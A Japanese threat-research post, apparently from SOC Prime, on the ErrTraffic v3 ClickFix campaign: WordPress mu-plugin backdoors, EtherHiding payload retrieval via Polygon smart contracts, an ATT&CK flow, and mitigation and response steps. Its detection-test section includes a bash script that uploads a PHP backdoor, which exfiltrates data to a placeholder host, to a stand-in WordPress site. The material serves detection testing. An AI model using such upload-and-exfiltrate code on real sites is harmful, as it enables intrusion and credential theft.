SOC Prime Bias:

16 4月 2026 15:04

ErrTraffic v3 は ClickFix キャンペーンで EtherHiding を活用

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
ErrTraffic v3 は ClickFix キャンペーンで EtherHiding を活用
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

このレポートでは、ErrTraffic v3 ツールを使用して WordPress サイトを侵害し、mu‑plugin バックドアをインストールする新しいキャンペーンについて説明しています。バックドアは難読化された JavaScript を注入し、ブロックチェーンベースの EtherHiding 技術によって追加のペイロードを取得します。最終段階では、被害者のブラウザに暗号化された PowerShell ペイロードを含む OS 固有の悪意のあるコードを配信します。ハードコーディングされたキーのような運用セキュリティの誤りはインフラストラクチャを明らかにします。

調査

LevelBlue SpiderLabs は WordPress の mu‑plugin バックドア、埋め込まれた JavaScript ビーコン、および ErrTraffic V3 コントロールパネルを調査しました。静的 XOR キー、Base64 デコード、および Polygon RPC ノードへのスマートコントラクトコールの使用を追跡しました。この分析では、API 通信に使用されるハードコーディングされた認証キーを特定し、いくつかのバレットプルーフプロバイダーに渡るホスティングインフラストラクチャをマッピングしました。

緩和策

防御者は mu‑plugin バックドアを削除し、知られている悪意のある TLD や IP 範囲をブロックし、ハードコーディングされた API キーの使用を監視し、ブロックチェーン RPC エンドポイントへの発信接続を制限するべきです。WordPress インストールを定期的に監査して予期しない mu‑plugin を確認し、ファイルの整合性を検証してください。Web アプリケーションファイアウォールを展開し、ビーコン性のある JavaScript のパターンを検出します。

対応

検出時には、影響を受けた Web サーバーを隔離し、バックドアファイルを削除し、すべての管理者資格情報をローテーションしてください。識別された悪意のあるドメインと RPC エンドポイントをネットワーク境界でブロックします。ダウンロードされたペイロードを特定するために完全な法医学的レビューを実施し、開示された API トークンを使用した継続的な C2 活動を監視します。

"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>アクション</b> – <b>T1659 コンテンツ注入</b><br/>WordPress サイトを悪用して悪意のある mu‑plugin をアップロード (session‑manager.php)"] class step_initial_access action step_persistence["<b>アクション</b> – <b>T1671 クラウドアプリケーション統合</b> / <b>T1525 内部イメージのインプラント</b><br/>各リクエストで実行される mu‑plugin としてバックドアがインストールされる"] class step_persistence action step_credential_access["<b>アクション</b> – <b>T1056.003 インプットキャプチャー</b><br/>注入された JavaScript が管理者資格情報を捕捉し、攻撃者に送信する"] class step_credential_access action step_c2["<b>アクション</b> – <b>T1102.003 Web サービス一方向通信</b><br/>ビーコンが visitor data を navigator.sendBeacon を通じて攻撃者のドメインへ送信する"] class step_c2 action step_obfuscation["<b>アクション</b> – <b>T1027 難読化されたファイル</b><br/>ペイロードが Base64 および XOR でエンコードされ、インラインスクリプトに埋め込まれる"] class step_obfuscation action step_smart_contract["<b>アクション</b> – <b>T1059.009 クラウド API</b><br/>スクリプトが Polygon RPC エンドポイントおよびスマートコントラクト (EtherHiding) を問い合わせ、URL を取得する"] class step_smart_contract action step_dead_drop["<b>アクション</b> – <b>T1102.001</b><br/>ブロックチェーンをデッドドロップとして C2 設定を使用する"] class step_dead_drop action step_encrypted["<b>アクション</b> – <b>T1573.001 対称暗号化</b><br/>API トラフィックが AES‑GCM または RC4 を使用してハードコーディングされたキーで暗号化される"] class step_encrypted action step_execution["<b>アクション</b> – <b>T1059.001 PowerShell</b><br/>ダウンローダーが一時ディレクトリを作成し、実行ファイルを書き込み OS 特有のペイロードを取得する"] class step_execution action step_priv_esc["<b>アクション</b> – <b>T1546.016 インストーラーパッケージ</b><br/>PowerShell スクリプトがインストーラーパッケージとして登録され、足場を維持する"] class step_priv_esc action %% Connections step_initial_access –>|から始まる| step_persistence step_persistence –>|を有効にする| step_credential_access step_credential_access –>|を提供する| step_c2 step_c2 –>|を使用する| step_obfuscation step_obfuscation –>|を促進する| step_smart_contract step_smart_contract –>|を格納する| step_dead_drop step_dead_drop –>|を届ける| step_encrypted step_encrypted –>|をサポートする| step_execution step_execution –>|を有効にする| step_priv_esc "

攻撃フロー

シミュレーション実行

前提条件: テレメトリーおよびベースラインの事前チェックが合格していること。

理由: このセクションは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳細に説明しています。コマンドとナラティブは確実に識別された TTP を直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または関連のない例は誤診につながります。

  • 攻撃ナラティブ & コマンド:
    攻撃者が WordPress 管理者アカウントを侵害し、悪意のある PHP ファイルをアップロードしました session-manager.php を webroot に。ファイルには無害に見える HTML セクションが含まれており、その末尾にはインライン <script> ブロックでのコメントは次のように表示されます “セクションの末尾に埋め込まれた JavaScript”。スクリプトは、クラウドストレージ バケットへのデータ流出を密かに行います(これは curl POST によってシミュレート)。 navigator.sendBeacon() の使用はなく、リクエストはルールの検出範囲内に留まります。

    1. 悪意のあるバックドアのアップロード:
      curl -u admin:password -F "file=@session-manager.php" 
           "http://target.example.com/wp-admin/async-upload.php"
    2. バックドアをトリガーする(検出トリガーのテレメトリを生成):
      curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
  • リグレッションテストスクリプト:

    #!/usr/bin/env bash
    #
    # 悪意のある WordPress バックドアをアップロードおよび呼び出すシミュレーション
    # に Sigma ルールが監視する正確なフレーズが含まれている。
    #
    set -euo pipefail
    
    TARGET="http://target.example.com"
    ADMIN_USER="admin"
    ADMIN_PASS="password"
    
    # 1. 悪意のある PHP ペイロードをローカルに作成
    cat > session-manager.php <<'EOF'
    <?php
    // セクションの末尾に埋め込まれた JavaScript
    echo "<!DOCTYPE html><html><body>";
    echo "<script>/* 悪意のあるコード */</script>";
    echo "</body></html>";
    // 簡単な流出スタブ(sendBeacon は使っていない)
    if ($_GET['cmd'] === 'exfiltrate') {
        $data = base64_encode('stolen_credentials');
        $url = "https://malicious-storage.example.com/upload";
        $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data))));
        $context = stream_context_create($options);
        file_get_contents($url, false, $context);
    }
    ?>
    EOF
    
    # 2. WordPress の非同期アップロードエンドポイントを通じてペイロードをアップロード
    curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" 
         "${TARGET}/wp-admin/async-upload.php" >/dev/null
    
    echo "[+] 悪意のある session-manager.php をアップロードしました"
    
    # 3. 検出可能なトラフィックを生成するバックドアを起動
    curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null
    
    echo "[+] バックドアをトリガーしました - 検出のテレメトリが現在存在するはずです"
    
    # 4. オプション: SIEM インジェスト用に一時停止
    sleep 5
  • クリーンアップコマンド:

    # サーバーから悪意のあるファイルを削除する(管理者 SSH アクセスが必要)
    ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php"
    echo "[+] クリーンアップ完了 – バックドア削除済み"